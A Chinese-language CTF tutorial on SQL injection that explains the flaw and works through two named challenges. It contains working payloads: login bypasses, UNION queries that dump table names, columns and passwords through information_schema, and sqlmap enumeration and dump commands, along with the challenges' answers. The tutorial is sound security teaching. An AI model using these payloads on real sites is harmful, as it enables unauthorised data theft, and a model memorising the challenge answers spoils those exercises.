CTF WEB 专题 —— SQL 注入

SQL 语句入门

SQL是Structured Query Language的缩写，意思是结构化查询语言，是一种在数据库管理系统（Relational Database Management System, RDBMS）中查询数据，或通过RDBMS对数据库中的数据进行更改的语言。常见的RDBMS有：Oracle、SQLite、Postgres、MySQL，他们都使用基本的SQL，但是也有很多不同，比如元数据库名称以及内置函数什么的。

在CTF比赛中，最常见的RDBMS是MySQL，所以今天的讲解就以MySQL为例

基本的 SQL 语句

创建数据库

```
CREATE DATABASE shop;
```

创建数据表

```
CREATE TABLE Product
(
    product_id      CHAR(4)       NOT NULL,
    product_name    VARCHAR(100) NOT NULL,
    PRIMARY KEY (product_id)
);
```

插入语句

```
INSERT INTO product VALUES (1, 'Apple');
```

删除语句

```
DELETE FROM product WHERE id = 1;
```

更新语句

```
UPDATE product SET name = 'Pear' WHERE id = 1;
```

查询语句

CTF 实战中出现频率比较高的利用语句是查询语句

```
SELECT * FROM product WHERE id = 1;

SELECT id FROM product WHERE name = 'Pear';
```

SQL 注入漏洞

本质：开发者图方便，直接把「用户的输入」拼接到SQL语句中，没有对输入进行过滤或者对SQL进行预编译。

SQL预编译，就是之后注入的参数不会再进行SQL编译。也就是说传入的参数将不会被当作一条SQL语句，参数中的 or 或者 and 等就不是SQL语法保留字了，所以可以消除SQL注入的隐患。

当然CTF比赛里的SQL注入类型题目都没有使用预编译语句，而是直接拼接「用户的输入」到SQL语句中。

举个网站登录的例子

```
$name=$_POST['username'];
$pass=$_POST['password'];
$sql="SELECT * FROM users WHERE name='$name' and pass='$pass'";
```

如果用户输入的 username 为 admin，password 内容为 ' or '1'='1，最终执行的查询语句就成为了

```
SELECT * FROM users WHERE name='admin' and pass='' or '1' = '1'
```

例题 01

[极客大挑战 2019]EasySQL 1

思路

信息收集：尝试输入一些单引号，看看有没有报错，判断数据库类型、字符型注入还是数字型注入。报错信息常常会提供很有价值的提示

- 字符型：`SELECT * FROM user WHERE name = 'Fin'`
- 数字型：`SELECT * FROM user WHERE id = 1`

两者最大的区别在于：数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合

答案

- `' or '1' = '1`
- `' or 1=1 --'`
- `' or 1=1#`

在MySQL中，`--` 和 `#` 是注释符，可以使用注释符使最后的单引号失效。所以会有很多种写法。

除了绕过登录判断检查，在 MySQL 中可以使用 UNION 查询，找到其他数据库的数据，扩大SQL注入获取信息的范围

MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果，组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。

```
SELECT user_id, user_name FROM User
UNION
SELECT product_id, product_name FROM Product;
```

不过需要注意的是：UNION 中的每个查询必须包含相同的列、表达式或者聚合函数

这里登录数据库，查询一下试试

在 SQL注入的 payload 里，和 UNION 一起出现的经常是 INFORMATION_SCHEMA

INFORMATION_SCHEMA 提供了对数据库元数据的访问，包括MySQL服务器信息，如数据库或表的名称，列的数据类型，访问权限等

所以在验证存在SQL注入漏洞后，可以使用 UNION 语句查询 INFORMATION_SCHEMA 内的数据，获得其他有用的线索（比如所有数据库名及表名等），用于下一步注入攻击

查询当前数据库中所有的表

```
select * from Product union select group_concat(table_name),2
from information_schema.tables where table_schema=database();
```

查询User表中有哪些字段

```
select * from Product union select group_concat(column_name),2
from information_schema.columns where table_name='User';
```

查询User表中某用户的密码

```
select * from Product union select password,2
from User where user_id = 1;
```

例题 02

[极客大挑战 2019]LoveSQL 1

思路

信息收集：和例题 01一样，先判断是字符型注入还是数字型注入，登录成功后，继续查询其他我们想要的数据(数据库信息、数据表信息、表字段等)

登录成功以后，出现

“Your password is ‘d7d4ab5c84a7d1e1ec3267135c22ae2d’”

表明了 `password` 这个字段是可以显示查询结果的地方（回显点）

因为浏览器不会自动把 # 符号自动编码，所以需要改成 %23（URL编码）

```
# 判断回显点位
/check.php?username=1' union select 1,2,3%23&password=1

# 查询有哪些表
/check.php?username=1' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=database()%23
&password=1

# 查询geekuser有哪些字段
/check.php?username=1' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database() and
table_name='geekuser'%23&password=1
```

```
# 查询l0ve1ysq1有哪些字段
/check.php?username=1' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database() and
table_name='l0ve1ysq1'%23&password=1
# 查询geekuser表数据
/check.php?username=1' union select 1,2,group_concat(id,username,
password) from geekuser%23&password=1
# 查询l0ve1ysq1表数据
/check.php?username=1' union select 1,2,group_concat(id,username,
password) from l0ve1ysq1%23&password=1
```

答案

```
/check.php?username=1' union select 1,2,group_concat(id,username,
password) from l0ve1ysq1%23&password=1
```

使用 SQLMap，也是一种方法

SQLMap 是一个开源的渗透测试工具，可以用来进行自动化检测，利用 SQL 注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎，针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

```
# 检查注入点:
sqlmap -u http://host/check.php?username=admin&password=123
# 爆所有数据库信息:
sqlmap -u http://host/check.php?username=admin&password=123 \
--dbs
# 爆当前数据库信息:
sqlmap -u http://host/check.php?username=admin&password=123 \
--current-db
# 指定库名表名列出所有字段，test为数据库名 admin为表名
sqlmap -u http://host/check.php?username=admin&password=123 \
-D test -T admin --columns
# 指定库名表名字段dump出指定字段 id 和 password
sqlmap -u http://host/check.php?username=admin&password=123 \
-D test -T admin -C id, password --dump
```

总结

1. 并不是所有的SQL注入题型都有一个输入框，只要是传递参数给后端，都有可能注入。包括 Cookie 注入，POST 注入、GET 注入、搜索注入等
2. 多熟悉数据库的内置函数，包括 user(), database(), version(), concat(), group_concat(), substring() 等等

3. 掌握报错注入的一些技巧，比如随便输入一个不存在的函数，也许可以得到数据库名称，如 `SELECT * FROM users where id = flag()`，得到报错信息 `FUNCTION test_db.flag does not exist`，得到数据库名为 `test_db`
4. 熟悉常见的绕过技巧，比如大小写替换、注释符绕过、函数绕过、符号代替关键字（&&代替AND）等

SQL 注入练习题

- [SUCTF 2019]EasySQL 1
- [极客大挑战 2019]BabySQL 1
- [极客大挑战 2019]HardSQL 1
- [极客大挑战 2019]FinalSQL 1

参考链接

- MySQL UNION 操作符
- ACTF-SQL Injection資料庫注入攻擊(post)
- SQL注入绕过过滤总结
- MySQL Functions

谢谢大家